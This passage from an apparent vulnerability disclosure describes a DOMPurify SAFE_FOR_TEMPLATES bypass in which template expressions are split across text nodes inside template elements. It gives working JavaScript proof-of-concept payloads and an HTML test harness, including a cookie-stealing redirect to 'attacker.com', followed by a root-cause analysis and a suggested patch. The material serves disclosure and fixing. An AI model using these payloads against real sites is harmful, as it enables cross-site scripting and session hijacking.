each fragment in isolation. It never merges them before checking, so the expression is never detected.\n\n---\n\n### PoC 1 - XSS via `alert()` (baseline confirmation)\n\n```javascript\n// Attacker input - splits \"${alert(document.domain)}\" across two custom elements.\n// Custom elements are not in DOMPurify's default ALLOWED_TAGS and are removed,\n// but their text content is kept (KEEP_CONTENT: true is the default).\nconst dirty =\n  '\u003ctemplate\u003e' +\n    '\u003cx-split-1\u003e$\u003c/x-split-1\u003e' +\n    '\u003cx-split-2\u003e{alert(document.domain)}\u003c/x-split-2\u003e' +\n  '\u003c/template\u003e';\n\n// Developer sanitizes with SAFE_FOR_TEMPLATES, trusting it strips ${...}\nconst sanitized = DOMPurify.sanitize(dirty, {\n  RETURN_DOM: true,\n  SAFE_FOR_TEMPLATES: true,\n});\n\n// Inspect what survived inside the \u003ctemplate\u003e\nconst tmpl = sanitized.querySelector('template');\nconsole.log([...tmpl.content.childNodes].map(n =\u003e n.nodeValue));\n// [\"$\", \"{alert(document.domain)}\"]  \u003c-- two separate text nodes, both \"clean\"\n\n// Frameworks (lit-html, Angular, custom renderers) routinely call normalize()\n// before reading template content. This merges the adjacent nodes:\ntmpl.content.normalize();\nconsole.log(tmpl.content.textContent);\n// \"${alert(document.domain)}\"  \u003c-- fully formed expression, past the sanitizer\n\n// Any template-literal evaluator now fires XSS:\nconst expr = tmpl.content.textContent;\nnew Function(`return \\`${expr}\\``)();\n// !! alert(document.domain) executes !!\n```\n\n---\n\n### PoC 2 - Session Hijacking via cookie exfiltration\n\n```javascript\n// Splits \"${document.location='//attacker.com/?c='+document.cookie}\"\n// \"{document.location=...}\" ends with a single \"}\" — does NOT match\n// MUSTACHE_EXPR's \"^[\\w\\W]*}}\" (requires double \"}}\"), so it survives.\nconst dirty =\n  '\u003ctemplate\u003e' +\n    '\u003cx-a\u003e$\u003c/x-a\u003e' +\n    '\u003cx-b\u003e{document.location=\"//attacker.com/?c=\"+document.cookie}\u003c/x-b\u003e' +\n  '\u003c/template\u003e';\n\nconst sanitized = DOMPurify.sanitize(dirty, {\n  RETURN_DOM: true,\n  SAFE_FOR_TEMPLATES: true,\n});\n\nconst tmpl = sanitized.querySelector('template');\ntmpl.content.normalize();\n\nconsole.log(tmpl.content.textContent);\n// \"${document.location=\"//attacker.com/?c=\"+document.cookie}\"\n\n// Template engine evaluates it - victim's browser makes the request:\nnew Function(`return \\`${tmpl.content.textContent}\\``)();\n// !! Redirects victim to attacker.com with their full cookie string !!\n// e.g. https://attacker.com/?c=session=abc123;auth_token=xyz789\n```\n\n---\n\n### PoC 3 - End-to-end: realistic application context\n\nThis shows the full path in an application that uses DOMPurify to sanitize user-submitted rich text before rendering it with a custom template engine:\n\n```html\n\u003c!-- index.html - the vulnerable application --\u003e\n\u003cdiv id=\"output\"\u003e\u003c/div\u003e\n\u003cscript type=\"module\"\u003e\n  import DOMPurify from './dist/purify.es.mjs';\n\n  // Simulates fetching and rendering user-submitted comment\n  async function renderComment(userHtml) {\n    // Developer correctly uses SAFE_FOR_TEMPLATES to protect the template engine\n    const dom = DOMPurify.sanitize(userHtml, {\n      RETURN_DOM: true,\n      SAFE_FOR_TEMPLATES: true,\n    });\n\n    // Application iterates \u003ctemplate\u003e elements and evaluates their content\n    // (common pattern in component-based frameworks)\n    dom.querySelectorAll('template').forEach(tmpl =\u003e {\n      tmpl.content.normalize(); // standard DOM housekeeping\n      const content = tmpl.content.textContent;\n\n      // Application uses template literals to interpolate user content into UI\n      const rendered = new Function('user', `return \\`${content}\\``)({ name: 'World' });\n      document.getElementById('output').innerHTML += rendered;\n    });\n  }\n\n  // Attacker-supplied comment content\n  const attackerComment =\n    '\u003ctemplate\u003e' +\n      '\u003cx-a\u003e$\u003c/x-a\u003e' +\n      '\u003cx-b\u003e{alert(\"XSS: \" + document.cookie)}\u003c/x-b\u003e' +\n    '\u003c/template\u003e';\n\n  // Developer believes SAFE_FOR_TEMPLATES makes this safe — it does not for RETURN_DOM\n  renderComment(attackerComment);\n  // !! XSS fires, alert pops with session cookies !!\n\u003c/script\u003e\n```\n\n**Observed output:** `alert(\"XSS: \" + document.cookie)` executes in the victim's browser context, leaking session tokens to the attacker.\n\n---\n\n### PoC 4 - `IN_PLACE` mode (DOM input path)\n\n```javascript\n// Applicable when the application sanitizes DOM nodes directly\n// (e.g., content loaded into an iframe or received from a WebSocket)\n\nconst container = document.createElement('div');\nconst tmpl = document.createElement('template');\n\n// Adjacent text nodes - these would never appear in HTML-parsed content,\n// but CAN appear in programmatically constructed DOM or WebSocket messages\n// that are deserialised into DOM nodes before sanitisation.\ntmpl.content.appendChild(document.createTextNode('$'));\ntmpl.content.appendChild(document.createTextNode('{alert(document.domain)}'));\ncontainer.appendChild(tmpl);\n\n// Sanitize in-place with SAFE_FOR_TEMPLATES - expected to strip all ${...}\nDOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });\n\n// Neither text node was modified - each passed the regex check individually\ncontainer.querySelector('template').content.normalize();\nconsole.log(container.querySelector('template').content.textContent);\n// \"${alert(document.domain)}\"  \u003c-- survived in-place sanitization\n\nnew Function(`return \\`${container.querySelector('template').content.textContent}\\``)();\n// !! XSS fires !!\n```\n\nHTML File for testing\n```HTML\n\u003c!DOCTYPE html\u003e\n\u003chtml lang=\"en\"\u003e\n\u003chead\u003e\n  \u003cmeta charset=\"UTF-8\" /\u003e\n  \u003ctitle\u003eDOMPurify SAFE_FOR_TEMPLATES Bypass - PoC\u003c/title\u003e\n  \u003cscript src=\"dist/purify.js\"\u003e\u003c/script\u003e\n  \u003cstyle\u003e\n    * { box-sizing: border-box; margin: 0; padding: 0; }\n    body {\n      font-family: 'Segoe UI', system-ui, sans-serif;\n      background: #0d1117;\n      color: #e6edf3;\n      padding: 32px;\n    }\n    h1 { font-size: 1.4rem; color: #f85149; margin-bottom: 6px; }\n    .subtitle { color: #8b949e; font-size: 0.9rem; margin-bottom: 32px; }\n    .card {\n      background: #161b22;\n      border: 1px solid #30363d;\n      border-radius: 8px;\n      margin-bottom: 24px;\n      overflow: hidden;\n    }\n    .card-header {\n      display: flex;\n      align-items: center;\n      gap: 10px;\n      padding: 14px 20px;\n      border-bottom: 1px solid #30363d;\n      background: #1c2128;\n    }\n    .badge {\n      font-size: 0.72rem;\n      font-weight: 700;\n      padding: 2px 8px;\n      border-radius: 4px;\n      text-transform: uppercase;\n      letter-spacing: 0.05em;\n    }\n    .badge-run    { background: #1f6feb; color: #fff; }\n    .badge-pass   { background: #238636; color: #fff; }\n    .badge-fail   { background: #da3633; color: #fff; }\n    .badge-warn   { background: #9e6a03; color: #fff; }\n    .card-title   { font-size: 0.95rem; font-weight: 600; }\n    .card-body    { padding: 20px; }\n    label         { font-size: 0.78rem; color: #8b949e; display: block; margin-bottom: 6px; }\n    pre {\n      background: #0d1117;\n      border: 1px solid #30363d;\n      border-radius: 6px;\n      padding: 14px;\n      font-size: 0.82rem;\n      line-height: 1.6;\n      overflow-x: auto;\n      margin-bottom: 14px;\n      white-space: pre-wrap;\n      word-break: break-all;\n    }\n    pre.result    { border-color: #238636; background: #0a1a0f; }\n    pre.escaped   { border-color: #da3633; background: #1a0a0a; }\n    pre.highlight { border-color: #f85149; color: #f85149; font-weight: bold; }\n    .grid { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; }\n    @media (max-width: 700px) { .grid { grid-template-columns: 1fr; } }\n    .arrow {\n      text-align: center;\n      font-size: 1.4rem;\n      color: #8b949e;\n      margin: 4px 0;\n    }\n    .xss-banner {\n      display: none;\n      background: #da3633;\n      color: #fff;\n      text-align: center;\n      padding: 16px;\n      font-size: 1.1rem;\n      font-weight: 700;\n      border-radius: 6px;\n      margin-bottom: 24px;\n      letter-spacing: 0.03em;\n    }\n    button {\n      background: #238636;\n      color: #fff;\n      border: none;\n      padding: 10px 22px;\n      border-radius: 6px;\n      font-size: 0.9rem;\n      font-weight: 600;\n      cursor: pointer;\n      margin-right: 10px;\n      margin-bottom: 8px;\n    }\n    button:hover { background: #2ea043; }\n    button.danger { background: #da3633; }\n    button.danger:hover { background: #f85149; }\n    .note {\n      background: #161b22;\n      border-left: 3px solid #9e6a03;\n      padding: 12px 16px;\n      font-size: 0.82rem;\n      color: #e3b341;\n      border-radius: 0 6px 6px 0;\n      margin-top: 14px;\n    }\n    #log {\n      background: #0d1117;\n      border: 1px solid #30363d;\n      border-radius: 6px;\n      padding: 14px;\n      font-size: 0.8rem;\n      font-family: monospace;\n      min-height: 60px;\n      max-height: 300px;\n      overflow-y: auto;\n      line-height: 1.8;\n    }\n    .log-ok   { color: #3fb950; }\n    .log-fail { color: #f85149; }\n    .log-info { color: #8b949e; }\n    .log-warn { color: #e3b341; }\n  \u003c/style\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\n  \u003ch1\u003e🔴 DOMPurify 3.4.7 - SAFE_FOR_TEMPLATES Bypass\u003c/h1\u003e\n  \u003cp class=\"subtitle\"\u003e\n    CVE candidate · Template expression injection via \u0026lt;template\u0026gt; content ·\n    Affects: \u003ccode\u003eRETURN_DOM + SAFE_FOR_TEMPLATES\u003c/code\u003e and \u003ccode\u003eIN_PLACE + SAFE_FOR_TEMPLATES\u003c/code\u003e\n  \u003c/p\u003e\n\n  \u003cdiv id=\"xss-banner\" class=\"xss-banner\"\u003e\n    ⚠️ XSS CONFIRMED - Expression executed in this page's context\n  \u003c/div\u003e\n\n  \u003c!-- ── Controls ─────────────────────────────────────────── --\u003e\n  \u003cdiv class=\"card\"\u003e\n    \u003cdiv class=\"card-header\"\u003e\n      \u003cspan class=\"badge badge-run\"\u003eControls\u003c/span\u003e\n      \u003cspan class=\"card-title\"\u003eRun individual test cases\u003c/span\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"card-body\"\u003e\n      \u003cbutton onclick=\"runAll()\"\u003e▶ Run all tests\u003c/button\u003e\n      \u003cbutton onclick=\"runPoC1()\"\u003ePoC 1 - alert()\u003c/button\u003e\n      \u003cbutton onclick=\"runPoC2()\"\u003ePoC 2 - cookie exfil\u003c/button\u003e\n      \u003cbutton onclick=\"runPoC3()\"\u003ePoC 3 - IN_PLACE\u003c/button\u003e\n      \u003cbutton onclick=\"runControl()\"\u003eControl - string output (should block)\u003c/button\u003e\n      \u003cdiv class=\"note\"\u003e\n        PoC 1 uses \u003ccode\u003econfirm()\u003c/code\u003e instead of \u003ccode\u003ealert()\u003c/code\u003e so the page\n        doesn't need a dismiss click to continue. Watch the red banner at the top.\n      \u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\n  \u003c!-- ── PoC 1 ─────────────────────────────────────────────── --\u003e\n  \u003cdiv class=\"card\" id=\"card-poc1\"\u003e\n    \u003cdiv class=\"card-header\"\u003e\n      \u003cspan class=\"badge badge-run\" id=\"badge-poc1\"\u003ePENDING\u003c/span\u003e\n      \u003cspan class=\"card-title\"\u003ePoC 1 - XSS via confirm() · RETURN_DOM mode\u003c/span\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"card-body\"\u003e\n      \u003cdiv class=\"grid\"\u003e\n        \u003cdiv\u003e\n          \u003clabel\u003eATTACKER INPUT - splits \u003ccode\u003e${\"{confirm(...)}\"}\u003c/code\u003e across two custom elements\u003c/label\u003e\n          \u003cpre id=\"input-poc1\"\u003e\u003c/pre\u003e\n        \u003c/div\u003e\n        \u003cdiv\u003e\n          \u003clabel\u003eAFTER DOMPurify.sanitize() - what survived in template.content\u003c/label\u003e\n          \u003cpre class=\"result\" id=\"nodes-poc1\"\u003e\u003c/pre\u003e\n        \u003c/div\u003e\n      \u003c/div\u003e\n      \u003cdiv class=\"arrow\"\u003e↓ template.content.normalize() ↓\u003c/div\u003e\n      \u003clabel\u003eMERGED TEXT NODE - fully formed expression after normalization\u003c/label\u003e\n      \u003cpre class=\"highlight\" id=\"merged-poc1\"\u003e\u003c/pre\u003e\n      \u003clabel\u003eEXECUTION RESULT\u003c/label\u003e\n      \u003cpre id=\"exec-poc1\"\u003eNot run yet\u003c/pre\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\n  \u003c!-- ── PoC 2 ─────────────────────────────────────────────── --\u003e\n  \u003cdiv class=\"card\" id=\"card-poc2\"\u003e\n    \u003cdiv class=\"card-header\"\u003e\n      \u003cspan class=\"badge badge-run\" id=\"badge-poc2\"\u003ePENDING\u003c/span\u003e\n      \u003cspan class=\"card-title\"\u003ePoC 2 - Cookie exfiltration · RETURN_DOM mode\u003c/span\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"card-body\"\u003e\n      \u003cdiv class=\"grid\"\u003e\n        \u003cdiv\u003e\n          \u003clabel\u003eATTACKER INPUT - exfil payload split across custom elements\u003c/label\u003e\n          \u003cpre id=\"input-poc2\"\u003e\u003c/pre\u003e\n        \u003c/div\u003e\n        \u003cdiv\u003e\n          \u003clabel\u003eINDIVIDUAL TEXT NODES after sanitization (each \"clean\")\u003c/label\u003e\n          \u003cpre class=\"result\" id=\"nodes-poc2\"\u003e\u003c/pre\u003e\n        \u003c/div\u003e\n      \u003c/div\u003e\n      \u003cdiv class=\"arrow\"\u003e↓ template.content.normalize() ↓\u003c/div\u003e\n      \u003clabel\u003eMERGED EXPRESSION - what a template engine would evaluate\u003c/label\u003e\n      \u003cpre class=\"highlight\" id=\"merged-poc2\"\u003e\u003c/pre\u003e\n      \u003clabel\u003eSIMULATED EXECUTION (fetch URL that would be called)\u003c/label\u003e\n      \u003cpre id=\"exec-poc2\"\u003eNot run yet\u003c/pre\u003e\n      \u003cdiv class=\"note\"\u003e\n        Real execution would redirect the victim to\n        \u003ccode\u003eattacker.com\u003c/code\u003e carrying the session cookie.\n        This PoC constructs the URL without actually sending it.\n      \u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\n  \u003c!-- ── PoC 3 ─────────────────────────────────────────────── --\u003e\n  \u003cdiv class=\"card\" id=\"card-poc3\"\u003e\n    \u003cdiv class=\"card-header\"\u003e\n      \u003cspan class=\"badge badge-run\" id=\"badge-poc3\"\u003ePENDING\u003c/span\u003e\n      \u003cspan class=\"card-title\"\u003ePoC 3 - XSS · IN_PLACE mode (DOM node input)\u003c/span\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"card-body\"\u003e\n      \u003cdiv class=\"grid\"\u003e\n        \u003cdiv\u003e\n          \u003clabel\u003eATTACKER PROVIDES - a DOM node with programmatically split text nodes\u003c/label\u003e\n          \u003cpre id=\"input-poc3\"\u003e\u003c/pre\u003e\n        \u003c/div\u003e\n        \u003cdiv\u003e\n          \u003clabel\u003eAFTER IN_PLACE sanitization - text nodes unchanged\u003c/label\u003e\n          \u003cpre class=\"result\" id=\"nodes-poc3\"\u003e\u003c/pre\u003e\n        \u003c/div\u003e\n      \u003c/div\u003e\n      \u003cdiv class=\"arrow\"\u003e↓ template.content.normalize() ↓\u003c/div\u003e\n      \u003clabel\u003eMERGED EXPRESSION\u003c/label\u003e\n      \u003cpre class=\"highlight\" id=\"merged-poc3\"\u003e\u003c/pre\u003e\n      \u003clabel\u003eEXECUTION RESULT\u003c/label\u003e\n      \u003cpre id=\"exec-poc3\"\u003eNot run yet\u003c/pre\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\n  \u003c!-- ── Control ───────────────────────────────────────────── --\u003e\n  \u003cdiv class=\"card\" id=\"card-ctrl\"\u003e\n    \u003cdiv class=\"card-header\"\u003e\n      \u003cspan class=\"badge badge-run\" id=\"badge-ctrl\"\u003ePENDING\u003c/span\u003e\n      \u003cspan class=\"card-title\"\u003eControl - string output (default) MUST block the payload\u003c/span\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"card-body\"\u003e\n      \u003clabel\u003eSame attacker input, but sanitized WITHOUT RETURN_DOM (string output path)\u003c/label\u003e\n      \u003cpre id=\"input-ctrl\"\u003e\u003c/pre\u003e\n      \u003cdiv class=\"arrow\"\u003e↓ DOMPurify.sanitize() - string path hits the regex scrub at line 2067 ↓\u003c/div\u003e\n      \u003clabel\u003eOUTPUT STRING - expression should be stripped\u003c/label\u003e\n      \u003cpre id=\"output-ctrl\"\u003eNot run yet\u003c/pre\u003e\n      \u003cdiv class=\"note\"\u003e\n        The string output path is NOT vulnerable because\n        \u003ccode\u003ebody.innerHTML\u003c/code\u003e serialises the template content into a\n        flat string where the full \u003ccode\u003e${\"{...}\"}\u003c/code\u003e expression is visible\n        and the final regex scrub catches it.\n      \u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\n  \u003c!-- ── Log ───────────────────────────────────────────────── --\u003e\n  \u003cdiv class=\"card\"\u003e\n    \u003cdiv class=\"card-header\"\u003e\n      \u003cspan class=\"badge badge-run\"\u003eLog\u003c/span\u003e\n      \u003cspan class=\"card-title\"\u003eTest output\u003c/span\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"card-body\"\u003e\n      \u003cdiv id=\"log\"\u003e\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\n\u003cscript\u003e\n// ── Helpers ────────────────────────────────────────────────────────────────\n\nlet xssConfirmed = false;\n\nfunction log(msg, type = 'info') {\n  const el = document.getElementById('log');\n  const line = document.createElement('div');\n  line.className = 'log-' + type;\n  line.textContent = '[' + new Date().toLocaleTimeString() + '] ' + msg;\n  el.appendChild(line);\n  el.scrollTop = el.scrollHeight;\n}\n\nfunction setBadge(id, status) {\n  const el = document.getElementById('badge-' + id);\n  el.textContent = status;\n  el.className = 'badge ' + {\n    PASS: 'badge-fail',   // \"PASS\" here means the attack succeeded (bad for security)\n    BLOCK: 'badge-pass',  // \"BLOCK\" means DOMPurify correctly blocked it\n    PENDING: 'badge-run',\n    ERROR: 'badge-warn',\n  }[status];\n}\n\nfunction markXSS(poc) {\n  if (!xssConfirmed) {\n    xssConfirmed = true;\n    document.getElementById('xss-banner').style.display = 'block';\n  }\n  log('🔴 XSS CONFIRMED in ' + poc + ' - expression executed in page context', 'fail');\n}\n\n// ── PoC 1: RETURN_DOM + alert ──────────────────────────────────────────────\n\nfunction runPoC1() {\n  log('Running PoC 1 - RETURN_DOM + confirm()...', 'info');\n\n  // IMPORTANT:\n  // Build a REAL template DOM node with split TEXT nodes.\n  // HTML parsing would merge adjacent text automatically,\n  // so we construct the DOM programmatically.\n\n  const container = document.createElement('div');\n  const tmpl = document.createElement('template');\n\n  tmpl.content.appendChild(document.createTextNode('$'));\n  tmpl.content.appendChild(\n    document.createTextNode(\n      '{confirm(\"XSS - DOMPurify SAFE_FOR_TEMPLATES bypass\\\\nExpression executed in: \" + document.domain)}'\n    )\n  );\n\n  container.appendChild(tmpl);\n\n  document.getElementById('input-poc1').textContent =\n    'template.content.childNodes[0].data = \"$\"\\\\n' +\n    'template.content.childNodes[1].data = \"{confirm(...)}\"';\n\n  // Sanitize the DOM node itself\n  const sanitized = DOMPurify.sanitize(container, {\n    RETURN_DOM: true,\n    SAFE_FOR_TEMPLATES: true,\n  });\n\n  const tmplAfter = sanitized.querySelector('template');\n\n  if (!tmplAfter) {\n    document.getElementById('exec-poc1').textContent =\n      'Template element removed during sanitization';\n    setBadge('poc1', 'ERROR');\n    return;\n  }\n\n  const nodesBefore = [...tmplAfter.content.childNodes].map(\n    n =\u003e JSON.stringify(n.nodeValue)\n  );\n\n  document.getElementById('nodes-poc1').textContent =\n    'childNodes[0].data = ' + nodesBefore[0] + '\\\\n' +\n    'childNodes[1].data = ' + nodesBefore[1] + '\\\\n\\\\n' +\n    '→ Neither fragment matched individually.';\n\n  log(\n    'PoC 1: Text nodes after sanitization: ' +\n    nodesBefore.join(', '),\n    'warn'\n  );\n\n  // Merge text nodes\n  tmplAfter.content.normalize();\n\n  const merged = tmplAfter.content.textContent;\n\n  document.getElementById('merged-poc1').textContent = merged;\n\n  log('PoC 1: After normalize() - merged text: ' + merged, 'warn');\n\n  try {\n    const result = new Function('return `' + merged + '`')();\n\n    document.getElementById('exec-poc1').textContent =\n      '✔ Expression executed successfully\\\\n' +\n      'Returned: ' + result;\n\n    setBadge('poc1', 'PASS');\n    markXSS('PoC 1');\n\n  } catch (e) {\n    document.getElementById('exec-poc1').textContent =\n      'Error: ' + e.message;\n\n    setBadge('poc1', 'ERROR');\n\n    log('PoC 1 error: ' + e.message, 'warn');\n  }\n}\n\n// ── PoC 2: cookie exfiltration ─────────────────────────────────────────────\n\nfunction runPoC2() {\n  log('Running PoC 2 - cookie exfiltration...', 'info');\n\n  // Fake cookie for demonstration\n  document.cookie = 'session=DEADBEEF_SECRET_TOKEN; path=/';\n\n  // IMPORTANT:\n  // Build REAL split text nodes programmatically.\n  // Do NOT rely on HTML parsing.\n\n  const container = document.createElement('div');\n  const tmpl = document.createElement('template');\n\n  tmpl.content.appendChild(document.createTextNode('$'));\n\n  tmpl.content.appendChild(\n    document.createTextNode(\n      '{document.location=\"//attacker.com/steal?c=\"+document.cookie}'\n    )\n  );\n\n  container.appendChild(tmpl);\n\n  document.getElementById('input-poc2').textContent =\n    'template.content.childNodes[0].data = \"$\"\\\\n' +\n    'template.content.childNodes[1].data = \"{document.location=...}\"';\n\n  // Sanitize DOM node\n  const sanitized = DOMPurify.sanitize(container, {\n    RETURN_DOM: true,\n    SAFE_FOR_TEMPLATES: true,\n  });\n\n  const tmplAfter = sanitized.querySelector('template');\n\n  if (!tmplAfter) {\n    document.getElementById('exec-poc2').textContent =\n      'Template element removed during sanitization';\n\n    setBadge('poc2', 'ERROR');\n\n    log('PoC 2: template element missing after sanitize()', 'warn');\n\n    return;\n  }\n\n  const nodes = [...tmplAfter.content.childNodes].map(\n    n =\u003e JSON.stringify(n.nodeValue)\n  );\n\n  document.getElementById('nodes-poc2').textContent =\n    'Node 0: ' + nodes[0] + '\\\\n' +\n    'Node 1: ' + nodes[1] + '\\\\n\\\\n' +\n    '→ Neither fragment individually matches template-expression regexes.';\n\n  log('PoC 2: Nodes after sanitize: ' + nodes.join(', '), 'warn');\n\n  // Merge adjacent text nodes\n  tmplAfter.content.normalize();\n\n  const merged = tmplAfter.content.textContent;\n\n  document.getElementById('merged-poc2').textContent = merged;\n\n  log('PoC 2: Merged expression: ' + merged, 'warn');\n\n  // Simulate framework evaluation\n  try {\n    new Function('return `' + merged + '`')();\n\n    const cookieValue = document.cookie;\n\n    const stealUrl =\n      '//attacker.com/steal?c=' +\n      encodeURIComponent(cookieValue);\n\n    document.getElementById('exec-poc2').textContent =\n      '✔ Expression successfully evaluated\\\\n\\\\n' +\n      'Would redirect victim to:\\\\n' +\n      stealUrl + '\\\\n\\\\n' +\n      'Cookie exposed:\\\\n' +\n      cookieValue;\n\n    setBadge('poc2', 'PASS');\n\n    markXSS('PoC 2');\n\n    log('PoC 2: Would exfiltrate cookie → ' + stealUrl, 'fail');\n\n  } catch (e) {\n    document.getElementById('exec-poc2').textContent =\n      'Error: ' + e.message;\n\n    setBadge('poc2', 'ERROR');\n\n    log('PoC 2 error: ' + e.message, 'warn');\n  }\n}\n// ── PoC 3: IN_PLACE mode ───────────────────────────────────────────────────\n\nfunction runPoC3() {\n  log('Running PoC 3 - IN_PLACE mode...', 'info');\n\n  // Build DOM node manually (simulates attacker-controlled DOM input,\n  // e.g. content parsed from a WebSocket message or an iframe)\n  const container = document.createElement('div');\n  const tmplEl = document.createElement('template');\n\n  // Two separate text nodes - HTML parser merges them, but programmatic\n  // DOM construction keeps them split. This is the IN_PLACE attack surface.\n  tmplEl.content.appendChild(document.createTextNode('$'));\n  tmplEl.content.appendChild(document.createTextNode('{confirm(\"XSS via IN_PLACE - domain: \" + document.domain)}'));\n  container.appendChild(tmplEl);\n\n  document.getElementById('input-poc3').textContent =\n    '// Programmatically constructed DOM node:\\n' +\n    'template.content.childNodes[0].data = \"$\"\\n' +\n    'template.content.childNodes[1].data = \"{confirm(\\\\\"XSS via IN_PLACE...\\\\\")}\"\\n\\n' +\n    '// Passed to DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true })';\n\n  // Sanitize IN_PLACE - SAFE_FOR_TEMPLATES should strip the expression\n  DOMPurify.sanitize(container, {\n    IN_PLACE: true,\n    SAFE_FOR_TEMPLATES: true,\n  });\n\n  const tmplAfter = container.querySelector('template');\n  const nodesAfter = [...tmplAfter.content.childNodes].map(n =\u003e n.nodeValue);\n  document.getElementById('nodes-poc3').textContent =\n    'childNodes[0].data = ' + JSON.stringify(nodesAfter[0]) + '\\n' +\n    'childNodes[1].data = ' + JSON.stringify(nodesAfter[1]) + '\\n\\n' +\n    '→ _scrubTemplateExpressions() did not enter template.content\\n' +\n    '→ Both nodes unchanged after sanitization.';\n\n  log('PoC 3: Nodes after IN_PLACE sanitize: ' + nodesAfter.map(n =\u003e JSON.stringify(n)).join(', '), 'warn');\n\n  tmplAfter.content.normalize();\n  const merged = tmplAfter.content.textContent;\n  document.getElementById('merged-poc3').textContent = merged;\n\n  log('PoC 3: Merged: ' + merged, 'warn');\n\n  try {\n    const result = new Function('return `' + merged + '`')();\n    document.getElementById('exec-poc3').textContent =\n      '✔ new Function() returned: ' + result + '\\n' +\n      'confirm() dialog shown. XSS confirmed via IN_PLACE mode.';\n    setBadge('poc3', 'PASS');\n    markXSS('PoC 3');\n  } catch (e) {\n    document.getElementById('exec-poc3').textContent = 'Error: ' + e.message;\n    setBadge('poc3', 'ERROR');\n    log('PoC 3 error: ' + e.message, 'warn');\n  }\n}\n\n// ── Control: string output must block ─────────────────────────────────────\n\nfunction runControl() {\n  log('Running control - string output path (should block)...', 'info');\n\n  const dirty =\n    '\u003ctemplate\u003e' +\n      '\u003cx-split-1\u003e$\u003c/x-split-1\u003e' +\n      '\u003cx-split-2\u003e{confirm(\"this should never fire\")}\u003c/x-split-2\u003e' +\n    '\u003c/template\u003e';\n\n  document.getElementById('input-ctrl').textContent = dirty;\n\n  // Default string output - NOT using RETURN_DOM\n  const sanitized = DOMPurify.sanitize(dirty, {\n    SAFE_FOR_TEMPLATES: true,\n    // RETURN_DOM intentionally omitted - string path is safe\n  });\n\n  document.getElementById('output-ctrl').textContent = sanitized;\n\n  const blocked = !sanitized.includes('${') \u0026\u0026 !sanitized.includes('{confirm');\n  if (blocked) {\n    setBadge('ctrl', 'BLOCK');\n    log('Control: String output correctly stripped the expression. Output: ' + sanitized, 'ok');\n  } else {\n    setBadge('ctrl', 'PASS'); // unexpected\n    log('Control: UNEXPECTED - expression survived string output path: ' + sanitized, 'fail');\n  }\n}\n\n// ── Run all ────────────────────────────────────────────────────────────────\n\nfunction runAll() {\n  document.getElementById('log').innerHTML = '';\n  xssConfirmed = false;\n  document.getElementById('xss-banner').style.display = 'none';\n  log('=== Starting full test run ===', 'info');\n  runPoC1();\n  runPoC2();\n  runPoC3();\n  runControl();\n  log('=== Test run complete ===', 'info');\n}\n\u003c/script\u003e\n\n\u003c/body\u003e\n\u003c/html\u003e\n\n\n```\n\n\n---\n\n## Root Cause\n\n`_scrubTemplateExpressions` (`src/purify.ts:1115`) does not recurse into `\u003ctemplate\u003e.content`:\n\n```ts\nconst _scrubTemplateExpressions = function (node: Element): void {\n  node.normalize(); // Does NOT normalize inside \u003ctemplate\u003e.content (DOM spec)\n  const walker = createNodeIterator.call(\n    node.ownerDocument || node,\n    node,            // NodeIterator does NOT enter \u003ctemplate\u003e.content\n    NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT |\n    NodeFilter.SHOW_CDATA_SECTION | NodeFilter.SHOW_PROCESSING_INSTRUCTION,\n    null\n  );\n  // Scrubs nodes it finds, but never sees \u003ctemplate\u003e content\n};\n```\n\nThe fix is to extend `_scrubTemplateExpressions` to explicitly recurse into `\u003ctemplate\u003e.content`, mirroring the approach already used by `_sanitizeShadowDOM` (`src/purify.ts:1753`):\n\n```ts\nif (_isDocumentFragment(shadowNode.content)) {\n  _sanitizeShadowDOM(shadowNode.content); // already handles recursion\n}\n```\n\n### Suggested Patch Direction\n\n```ts\nconst _scrubTemplateExpressions = function (node: Element): void {\n  node.normalize();\n  const walker = createNodeIterator.call( /* existing args */ );\n\n  // ... existing scrub loop ...\n\n  // NEW: recurse into \u003ctemplate\u003e.content, mirroring _sanitizeShadowDOM\n  const templates = (node as Element).querySelectorAll?.('template') ?? [];\n  arrayForEach(Array.from(templates), (tmpl: HTMLTemplateElement) =\u003e {\n    if (_isDocumentFragment(tmpl.content)) {\n      _scrubTemplateExpressions(tmpl.content as unknown as Element);\n    }\n  });\n};\n```\n\n---\n\n## Impact\n\n**Who is affected:** Applications that use DOMPurify with `SAFE_FOR_TEMPLATES: true` combined with `RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, or `IN_PLACE: true`, whose downstream template engine processes `\u003ctemplate\u003e` element content.\n\n**What an attacker can achieve:** Inject arbitrary template expressions (`${...}`, `{{...}}`, `\u003c%...%\u003e`) into the sanitized DOM output inside `\u003ctemplate\u003e` elements. If the consuming template engine evaluates these expressions, this leads to **template injection**, which in server-side contexts can escalate to **Remote Code Execution** and in client-side contexts to **Cross-Site Scripting**.\n\n### Preconditions for Exploitation\n\n| Precondition | Notes |\n|---|---|\n| `SAFE_FOR_TEMPLATES: true` | Non-default - must be explicitly set |\n| `RETURN_DOM: true` or `IN_PLACE: true` | Non-default - must be explicitly set |\n| Template engine processes `\u003ctemplate\u003e.content` | Application-dependent |\n\n### What Is NOT Affected\n\nThe **string output path (default)** is not affected. The final regex scrub at `src/purify.ts:2067–2071` operates on the serialized HTML string, where the injected expression is visible and stripped:\n\n```ts\n// src/purify.ts:2067 - only runs on string output, not DOM output\nif (SAFE_FOR_TEMPLATES) {\n  arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) =\u003e {\n    serializedHTML = stringReplace(serializedHTML, expr, ' ');\n  